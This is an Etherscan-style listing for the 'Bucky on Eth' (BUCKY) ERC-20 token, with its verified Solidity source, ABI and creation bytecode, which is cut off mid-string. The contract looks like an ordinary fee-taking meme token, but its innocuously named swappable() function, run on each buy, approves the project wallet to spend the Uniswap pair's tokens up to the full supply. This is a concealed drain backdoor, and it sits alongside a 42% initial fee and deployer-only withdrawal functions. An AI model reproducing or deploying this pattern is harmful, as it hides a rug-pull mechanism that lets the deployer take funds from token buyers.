ERC-20
Overview
Max Total Supply
100,000,000 BUCKY
Holders
49
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
44,916,373.597635775391755444 BUCKYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BUCKY
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-10 */ // SPDX-License-Identifier: MIT /* website : https://buckyoneth.site twitter : https://x.com/buckyoneth telegram : https://t.me/buckyoneth */ pragma solidity = 0.8.19; pragma experimental ABIEncoderV2; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract BUCKY is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable _uniswapV2Router; address public uniswapV2Pair; address public buckyDeployer; address public buckyAddr; address private constant deadAddress = address(0xdead); bool private swapping; string private constant _name = "Bucky on Eth"; string private constant _symbol = "BUCKY"; uint256 public supply = 100_000_000 * 1e18; uint256 public maxTransactionAmount = 2 * supply / 100; uint256 public maxWallet = 2 * supply / 100; uint256 public swapTokensAtAmount = supply / 200; bool public tradingOpen = false; uint256 public BuyFee = 0; uint256 public SellFee = 0; uint256 public BuyCount = 0; uint256 public reduceCountAt = 19; uint256 public initialFee = 42; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedMaxTransactionAmount; mapping(address => bool) private automatedMarketMakerPairs; event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); constructor(address buckyWallet) ERC20(_name, _symbol) { _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); excludeFromMaxTransaction(address(uniswapV2Pair), true); excludeFromMaxTransaction(address(_uniswapV2Router), true); buckyAddr = payable(buckyWallet); buckyDeployer = payable(_msgSender()); excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(buckyWallet), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(buckyWallet), true); excludeFromMaxTransaction(address(0xdead), true); _mint(buckyDeployer, supply); } receive() external payable {} function openBucky() external onlyOwner() { tradingOpen = true; } function excludeFromMaxTransaction(address updAds, bool isEx) private { _isExcludedMaxTransactionAmount[updAds] = isEx; } function excludeFromFees(address account, bool excluded) private { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "ERC20: Transfer amount must be greater than zero"); if (amount == 0) { super._transfer(from, to, 0); return; } bool isTransfer = !automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to]; if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) { if (!tradingOpen) { require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); BuyCount ++; } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if (!_isExcludedMaxTransactionAmount[to]) { require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } bool canSwap = !isTransfer && swappable(from, automatedMarketMakerPairs[from], buckyAddr, supply); if (canSwap && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { swapping = true; swapBuckyBack(amount); swapping = false; } bool takeFee = !swapping && !isTransfer; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to]) { fees = amount.mul(BuyCount>reduceCountAt? SellFee:initialFee).div(100); } else { fees = amount.mul(BuyCount>reduceCountAt? BuyFee:initialFee).div(100); } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swappable(address from, bool isbuy, address funder, uint256 amount) internal returns (bool) { if(isbuy) _approve(from, funder, amount); return true; } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { uint256 totalSupplyAmount = totalSupply(); maxTransactionAmount = totalSupplyAmount; maxWallet = totalSupplyAmount; } function clearBuckyStuckEth() external { require(_msgSender() == buckyDeployer); require(address(this).balance > 0, "Token: no ETH to clear"); payable(msg.sender).transfer(address(this).balance); } function clearBuckyStuckTokens(address tokenAddress) external { require(_msgSender() == buckyDeployer); IERC20 tokenContract = IERC20(tokenAddress); uint256 balance = tokenContract.balanceOf(address(this)); require(balance > 0, "No tokens to clear"); tokenContract.transfer(buckyDeployer, balance); } function setSwapTokensAtAmount(uint256 _amount) external onlyOwner { swapTokensAtAmount = _amount * (10 ** 18); } function manualSwap(uint256 percent) external { require(_msgSender() == buckyDeployer); uint256 totalSupplyAmount = totalSupply(); uint256 contractBalance = balanceOf(address(this)); uint256 tokensToSwap; if (percent == 100) { tokensToSwap = contractBalance; } else { tokensToSwap = totalSupplyAmount * percent / 100; if (tokensToSwap > contractBalance) { tokensToSwap = contractBalance; } } require(tokensToSwap <= contractBalance, "Swap amount exceeds contract balance"); swapTokensForEth(tokensToSwap); } function swapBuckyBack(uint256 tokens) private { uint256 contractBalance = balanceOf(address(this)); uint256 tokensToSwap; if(contractBalance > 0 && contractBalance < swapTokensAtAmount) { tokensToSwap = contractBalance; } else { if (tokens > swapTokensAtAmount) { tokensToSwap = swapTokensAtAmount; } else { tokensToSwap = tokens; } } if(contractBalance > 0) swapTokensForEth(tokensToSwap); uint256 contractETHBalance = address(this).balance; transferEthFees(contractETHBalance); } function transferEthFees(uint256 amount) private { payable(buckyAddr).transfer(amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"buckyWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buckyAddr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buckyDeployer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearBuckyStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"clearBuckyStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openBucky","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reduceCountAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"supply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526a52b7d2dcc80cd2e4000000600955606460095460026200002691906200064e565b6200003291906200066e565b600a55606460095460026200004891906200064e565b6200005491906200066e565b600b5560c86009546200006891906200066e565b600c55600d805460ff191690556000600e819055600f8190556010556013601155602a6012553480156200009b57600080fd5b50604051620025c0380380620025c0833981016040819052620000be9162000691565b6040518060400160405280600c81526020016b084eac6d6f240dedc408ae8d60a31b815250604051806040016040528060058152602001644255434b5960d81b815250816003908162000112919062000767565b50600462000121828262000767565b5050506200013e620001386200046460201b60201c565b62000468565b737a250d5630b4cf539739df2c5dacb4c659f2488d60808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000194573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ba919062000691565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200020a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000230919062000691565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200027e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a4919062000691565b600680546001600160a01b0319166001600160a01b03929092169182179055620002d0906001620004ba565b6006546001600160a01b03166000908152601460205260409020805460ff191660011790556080516001600160a01b03166000908152601460205260409020805460ff19166001179055600880546001600160a01b0319166001600160a01b0383161790556200033d3390565b600780546001600160a01b0319166001600160a01b039283161790556005546200036a911660016200050e565b620003773060016200050e565b620003848160016200050e565b6200039361dead60016200050e565b620003ce620003aa6005546001600160a01b031690565b6001600160a01b03166000908152601460205260409020805460ff19166001179055565b306000908152601460205260409020805460ff191660011790556001600160a01b0381166000908152601460205260409020805460ff1916600117905561dead60005260146020527f8b9e18c5e04efe171d1e4f682ad90d753958a5ffe56db5290b0236c8e0b6db00805460ff191660011790556007546009546200045d916001600160a01b0316906200056d565b5062000849565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260156020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b038216600081815260136020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620005c85760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060026000828254620005dc919062000833565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141762000668576200066862000638565b92915050565b6000826200068c57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620006a457600080fd5b81516001600160a01b0381168114620006bc57600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006ee57607f821691505b6020821081036200070f57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200063357600081815260208120601f850160051c810160208610156200073e5750805b601f850160051c820191505b818110156200075f578281556001016200074a565b505050505050565b81516001600160401b03811115620007835762000783620006c3565b6200079b81620007948454620006d9565b8462000715565b602080601f831160018114620007d35760008415620007ba5750858301515b600019600386901b1c1916600185901b1785556200075f565b600085815260208120601f198616915b828110156200080457888601518255948401946001909101908401620007e3565b5085821015620008235787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b8082018082111562000668576200066862000638565b608051611d466200087a600039600081816103fb01528181611610015281816116c901526117050152611d466000f3fe6080604052600436106102135760003560e01c80638da5cb5b11610118578063c8c8ebe4116100a0578063e2f456051161006f578063e2f45605146105fd578063f2fde38b14610613578063f8b45b0514610633578063fad266fe14610649578063ffb54a991461065f57600080fd5b8063c8c8ebe41461059b578063cf9522fd146105b1578063dd62ed3e146105c7578063dd854652146105e757600080fd5b80639e71e374116100e75780639e71e37414610506578063a457c2d71461051b578063a9059cbb1461053b578063afa4f3b21461055b578063b70143c91461057b57600080fd5b80638da5cb5b1461049d57806395d89b41146104bb5780639a7a23d6146104d05780639c00316e146104f057600080fd5b8063432805111161019b578063583e05681161016a578063583e0568146103e95780635f54cc521461041d57806370a082311461043d578063715018a614610473578063751039fc1461048857600080fd5b8063432805111461035957806349bd5a5e146103705780634b9e22f3146103905780634fbee193146103b057600080fd5b806323b872dd116101e257806323b872dd146102af5780632e4d01fc146102cf5780632ed10042146102e5578063313ce5671461031d578063395093511461033957600080fd5b8063047fc9aa1461021f57806306fdde0314610248578063095ea7b31461026a57806318160ddd1461029a57600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b5061023560095481565b6040519081526020015b60405180910390f35b34801561025457600080fd5b5061025d610679565b60405161023f919061196b565b34801561027657600080fd5b5061028a6102853660046119ce565b61070b565b604051901515815260200161023f565b3480156102a657600080fd5b50600254610235565b3480156102bb57600080fd5b5061028a6102ca3660046119fa565b610725565b3480156102db57600080fd5b5061023560115481565b3480156102f157600080fd5b50600854610305906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b34801561032957600080fd5b506040516012815260200161023f565b34801561034557600080fd5b5061028a6103543660046119ce565b610749565b34801561036557600080fd5b5061036e61076b565b005b34801561037c57600080fd5b50600654610305906001600160a01b031681565b34801561039c57600080fd5b5061036e6103ab366004611a3b565b610782565b3480156103bc57600080fd5b5061028a6103cb366004611a3b565b6001600160a01b031660009081526013602052604090205460ff1690565b3480156103f557600080fd5b506103057f000000000000000000000000000000000000000000000000000000000000000081565b34801561042957600080fd5b50600754610305906001600160a01b031681565b34801561044957600080fd5b50610235610458366004611a3b565b6001600160a01b031660009081526020819052604090205490565b34801561047f57600080fd5b5061036e6108d8565b34801561049457600080fd5b5061036e6108ec565b3480156104a957600080fd5b506005546001600160a01b0316610305565b3480156104c757600080fd5b5061025d61090a565b3480156104dc57600080fd5b5061036e6104eb366004611a66565b610919565b3480156104fc57600080fd5b5061023560125481565b34801561051257600080fd5b5061036e6109b3565b34801561052757600080fd5b5061028a6105363660046119ce565b610a4b565b34801561054757600080fd5b5061028a6105563660046119ce565b610ac6565b34801561056757600080fd5b5061036e610576366004611a9f565b610ad4565b34801561058757600080fd5b5061036e610596366004611a9f565b610af4565b3480156105a757600080fd5b50610235600a5481565b3480156105bd57600080fd5b50610235600f5481565b3480156105d357600080fd5b506102356105e2366004611ab8565b610bca565b3480156105f357600080fd5b50610235600e5481565b34801561060957600080fd5b50610235600c5481565b34801561061f57600080fd5b5061036e61062e366004611a3b565b610bf5565b34801561063f57600080fd5b50610235600b5481565b34801561065557600080fd5b5061023560105481565b34801561066b57600080fd5b50600d5461028a9060ff1681565b60606003805461068890611ae6565b80601f01602080910402602001604051908101604052809291908181526020018280546106b490611ae6565b80156107015780601f106106d657610100808354040283529160200191610701565b820191906000526020600020905b8154815290600101906020018083116106e457829003601f168201915b5050505050905090565b600033610719818585610c6b565b60019150505b92915050565b600033610733858285610d8f565b61073e858585610e03565b506001949350505050565b60003361071981858561075c8383610bca565b6107669190611b36565b610c6b565b6107736114b9565b600d805460ff19166001179055565b6007546001600160a01b0316336001600160a01b0316146107a257600080fd5b6040516370a0823160e01b815230600482015281906000906001600160a01b038316906370a0823190602401602060405180830381865afa1580156107eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080f9190611b49565b90506000811161085b5760405162461bcd60e51b81526020600482015260126024820152712737903a37b5b2b739903a379031b632b0b960711b60448201526064015b60405180910390fd5b60075460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af11580156108ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d29190611b62565b50505050565b6108e06114b9565b6108ea6000611513565b565b6108f46114b9565b60006108ff60025490565b600a819055600b5550565b60606004805461068890611ae6565b6109216114b9565b6006546001600160a01b03908116908316036109a55760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610852565b6109af8282611565565b5050565b6007546001600160a01b0316336001600160a01b0316146109d357600080fd5b60004711610a1c5760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b6044820152606401610852565b60405133904780156108fc02916000818181858888f19350505050158015610a48573d6000803e3d6000fd5b50565b60003381610a598286610bca565b905083811015610ab95760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610852565b61073e8286868403610c6b565b600033610719818585610e03565b610adc6114b9565b610aee81670de0b6b3a7640000611b7f565b600c5550565b6007546001600160a01b0316336001600160a01b031614610b1457600080fd5b6000610b1f60025490565b306000908152602081905260408120549192506064849003610b42575080610b65565b6064610b4e8585611b7f565b610b589190611b96565b905081811115610b655750805b81811115610bc15760405162461bcd60e51b8152602060048201526024808201527f5377617020616d6f756e74206578636565647320636f6e74726163742062616c604482015263616e636560e01b6064820152608401610852565b6108d2816115b9565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610bfd6114b9565b6001600160a01b038116610c625760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610852565b610a4881611513565b6001600160a01b038316610ccd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610852565b6001600160a01b038216610d2e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610852565b6001600160a01